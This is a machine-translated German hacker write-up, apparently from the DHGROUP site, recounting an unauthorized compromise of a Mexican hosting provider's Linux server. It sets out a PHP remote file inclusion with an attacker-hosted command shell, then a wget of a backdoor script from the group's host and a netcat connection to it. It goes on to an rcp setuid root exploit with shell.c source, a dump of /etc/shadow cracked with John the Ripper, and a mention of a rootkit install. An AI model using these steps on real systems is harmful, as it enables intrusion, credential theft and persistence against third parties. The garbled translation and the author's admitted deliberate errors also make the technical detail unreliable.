This page has been robot translated, sorry for typos if any. Original content here.

Root auf einem Hosting-Provider


Intro.
Ich habe mich entschieden, diesen speziellen Hack zu beschreiben, da er vor einiger Zeit passiert ist (und zu diesem Zeitpunkt, dem 23. Januar 03, befindet sich der Server sozusagen immer noch in der Hand von DHG). Ich wurde auch gebeten, einen interessanten Hack zu beschreiben.
Ich möchte nicht, dass diese Geschichte als Anhaltspunkt für die Gräueltaten anderer Leute dient, daher machen wir absichtlich einige Fehler / Ungenauigkeiten (die jedoch jeder fortgeschrittene Benutzer bemerken wird). Nun, auch um elementare Dinge wie "Linux-Teams auch an welcher Stelle nachzusehen, wie sie Splits kompilieren" zu kauen, werden wir es nicht tun. Also lass uns gehen.

Runde 1: Remote.
Im Allgemeinen war das ursprüngliche Ziel das mexikanische Linux-Portal www. ***. Com, das einst von diesem Anbieter gehostet wurde.
Zunächst musste herausgefunden werden, auf welcher Achse dieses Portal steht. Obwohl der Stumpf ist klar, dass die Website über Linux'e nicht auf Windows hängen kann. Auf http lautete: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", das FTP-Banner lautete:
ManagedHosting FTP-Server (Version 6.5 / OpenBSD, Linux-Port 0.3.2) bereit.
Wir haben nicht damit begonnen, Ports, CGI-Bugs und auch solchen Unsinn zu scannen - genauer gesagt, ich habe beschlossen, es für später aufzuschieben. Nun, ich wollte essno auch in keiner Weise abdecken. So blitzte die Phrase "Bewirtung" im ftp Fahne! Nachdem wir auf ripnet getroffen hatten, entschieden wir uns, direkt zu ip zu wechseln, das war www. ***. Com. Er brachte mich auf die Seite "managedhosting.dialtoneinternet.com.mx", die offensichtlich sein Hoster war. Später wurde auf einer echten Hosting-Site eine kurze manuelle Bruteforce berechnet: dialtoneinternet.com.mx (www.dialtone.com).
Aus diesem Grund haben wir uns entschlossen, vorerst aufzuhören und auch an die Stelle zurückzukehren, die kaputt ist. Er stand auf der PHP-Engine phpWebSite einer unbekannten Version. Dieser nächste Klon von php-nuke'a unterschied sich in keiner besonderen Betonung der Sicherheit. Alle Versionen von PWS bis 0.8.2 (auch als stabil gekennzeichnet) wiesen eine Schwachstelle der Klasse 'PHP-Quellinjektion' auf. Informationen zu denjenigen, die nichts sagen, finden Sie im Artikel von r4ShRaY zu dieser Sicherheitsanfälligkeit. Den Rest lesen Sie weiter. Also, hier ist ein Ausschnitt aus der modsecurity.php-Datei sors:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

Meiner Meinung nach sollte hier allen klar sein. Durch Ausführen dieses Skripts auf ähnliche Weise:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die auf unserer Site befindliche Datei htmlheader.php wird mit bisher nicht definierten Rechten ausgeführt. Das Einzige, was mich störte, war, dass die angegriffene Site eine gepatchte oder eine neuere Version hatte (es handelte sich schließlich nicht um eine Art 'Vasyas Homepage', sondern um ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir die Datei htmlheader.php auf unserer Website mit folgendem Inhalt erstellt:

<? Durchgang ("$ cmd")?>

Dann ging ich zur Adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Zu dem wir eine Auflistung des WWW-Verzeichnisses bekommen haben. # Hinweis Ich werde weiterhin alle Befehle ohne "...? inc_prefix = http: // ..." kritzeln!

Runde 2: Lokal.
> echo hi> kewl.txt; cat kewl.txt
Der Browser reagierte auf diese beiden Befehle mit einem leeren schneeweißen Bildschirm. Dies zeigte an, dass ich keine Schreibrechte für das WWW-Verzeichnis hatte. Das heißt, frühzeitig über die Verunstaltung zu sprechen. Bevor weitere Maßnahmen ergriffen werden konnten, mussten weitere Informationen zum System gesammelt werden. Die Hauptbeschäftigung haben wir über die httpd.conf Datei geklettert:
> cat /etc/httpd/conf/httpd.conf
Von dort aus haben wir die Front-End-Version herausgerissen (der 'Server'-HTTP-Header hat übrigens nicht darauf hingewiesen, dass FrontPage verfügbar ist) und auch die Route zu den WWW-Verzeichnissen der Website: dialtoneinternet.com.mx (ein defekter Hosting-Anbieter), stormarketing.com, altavistablinds.com, parigitown.com, na ja, auch zu ein paar großen Quellen:
# -FrontPage- version = 4.0
##
## httpd.conf - Konfigurationsdatei des Apache HTTP-Servers
##
...
<VirtualHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen alle
AllowOverride All
</ Directory>
Servername dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog-Protokolle / error_log
TransferLog-Protokolle / transfer_log
Gruppiere niemanden
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Natürlich gibt es nicht genug Rechte, um sie zu entschärfen, ABER sie reichen völlig aus, um den Front-End-Service.pwd (falls vorhanden) dieser Sites mit allen Konsequenzen, die sich daraus ergeben, anzusehen in keiner Weise wird es möglich sein, ihre Privilegien zu erhöhen.
Des Weiteren haben wir aus Interesse Folgendes vorgestellt:
> netstat -a
Was ich erhalten habe (# - meine Tags):
  Aktive Internetverbindungen (Server und eingerichtet)
 Proto Recv-Q Send-Q Lokale Adresse Ausländischer Adressstatus 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 {116 ESTABLISHED 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: domain *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domain *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: domain *: * 
 udp 0 0 localhost.locald: domain *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Aktive UNIX-Domain-Sockets (Server und eingerichtete)
 Proto RefCnt Flags Type State I-Node Path
 UNIX 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 UNIX 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 Unix 4 [] DGRAM 290 / dev / log
 UNIX 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 Unix 0 [] STREAM 565939 
 Unix 0 [] DGRAM 555692 
 Unix 0 [] DGRAM 549142 
 Unix 0 [] DGRAM 3193 
 Unix 0 [] DGRAM 303 
(1) - das sind wir =)
(2) - Das Vorhandensein von ssl drückt normalerweise den Austausch privater Informationen mit dem Server aus (z. B. cc). Obwohl für das Hosting ist es in der Routine der Dinge.
(3) - hier ist er! Er wird später nützlich sein.
Auch hier mussten die Ports gar nicht gescannt werden :)
Als nächstes mussten einige spezifische Aktionen gestartet werden, oder vielmehr, um zumindest fast die Version der Kappe herauszufinden und auf dieser Basis bereits weiter zu tanzen. Für diejenigen, die es nicht wissen, hinterlassen einige (wenn nicht alle) Linux-Distributionen die Datei "* -release" (wobei * der Name der Distribution ist: mandrake-release, cobalt-release ...) im Verzeichnis / etc / auch Administratoren haben keine Möglichkeit, es zu beseitigen.
> cat / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaaa, ich muss sagen, das haben wir nicht erwartet :) Alles andere war eine Frage der Technologie. Um die lang erwartete Wurzel zu erreichen, haben wir uns entschieden, die RedHat-Sicherheitslücke in rcp zu verwenden.

Red Hat 6.2: RCP mögliches Wurzelloch
Tatsächlich wurde die Sicherheitslücke in Punkt 6.2 gefunden. Über Punkt 6.1 sagte ein Beitrag von Andrew Griffiths und Tlabs kein Wort. In der Hoffnung auf viel Glück stellten wir vor:
> ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 30. Juli 1999 / usr / bin / rcp *
Hoppla! Klar, RCP besitzt ein Zimmer zu sein! Das ist schon gut :) Ich goss mir "rcpsploit.pl" von tlabs plus ein, nachdem ich die Quelle studiert hatte, hörte ich auf. Ich werde vielleicht erklären, wie dieser Sploit funktioniert - vielleicht hilft Ihnen dies dabei, das Wesen der Verwundbarkeit des Problems zu verstehen, das ebenfalls aufgetreten ist.
Es werden also 2 Dateien erstellt:
/tmp/shell.c-------------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
return 0;
}


hey ------------------------------
Sploit geschrieben von tlabs, danke an Andrew Griffiths für den Fehlerbericht

Durch das erfolgreiche rcp fungiert dann die sploit compile shell.c auch mit dem chmod als chmod. Das war's Wir starten die kompilierte Shell und bekommen eine Shell mit uid = 0, gid = 0. Aber wozu dient diese Shell, wenn wir Befehle über einen Webserver ausführen? : - /
Es war nur erlaubt, diesen Sploit zu zwingen, an einer "normalen" Shell zu arbeiten.
Benötigen Sie eine Muschel? Er wird! In meinem Warez-Archiv hat sich vor langer Zeit ein kleiner Graupen-Trojaner verstaubt, für den wir uns auch entschieden haben:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> nc ***. com 51015
Berühren:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir werden einfach eine Shell starten :)
> id
uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
Das ist alles :) Nun, auch der letzte:
> Katze / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
Daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR hat 977 Passwörter gezählt%) Um die Suche zu beschleunigen, haben wir Folgendes eingeführt:
john -i: alles -u: wurzelschatten
Ungefähr 8 Stunden und ... der lang ersehnte Moment:




Dann habe ich dort lrk hochgeladen, einige Datenpfeifen und auch BNC ... obwohl dies eine ganz andere Geschichte ist ...

Was wurde während des Hackens verwendet:
Netscape v.xz
secureCRT 3.1
Netcat
John the Ripper
backhole.pl
rcpsploit.pl
Gehirne
PacketStormSecurity

Schlussfolgerungen \ Bemerkungen \ Kommentare:
1. Wenn dieser oder jener Server sich selbst als Hosting-Provider oder Linux-Portal bezeichnet, bedeutet dies nicht, dass er gut geschützt ist.
2. Während des Hackens sollten Sie Ihre IP-Adresse nicht speziell deklarieren (dies wird in Zukunft ein Artikel sein).
3. Beim Hacken wurde fast nie die sogenannte "Hacker" -Software verwendet.
4. RH6. * - nicht summend essen :)

PS IMHO, der Leser kann den Eindruck bekommen, dass ich einfach Glück hatte und der allgemeine Hack ein paar Minuten gedauert hat. Dies ist nicht der Fall. Es gab Momente, in denen die Hände gerade gesunken waren, als ich meinen Kopf gegen die Wand kämpfen wollte.

Gepostet von: D4rkGr3y


Material mit Genehmigung von DHGROUP veröffentlicht (http://www.dhgroup.org)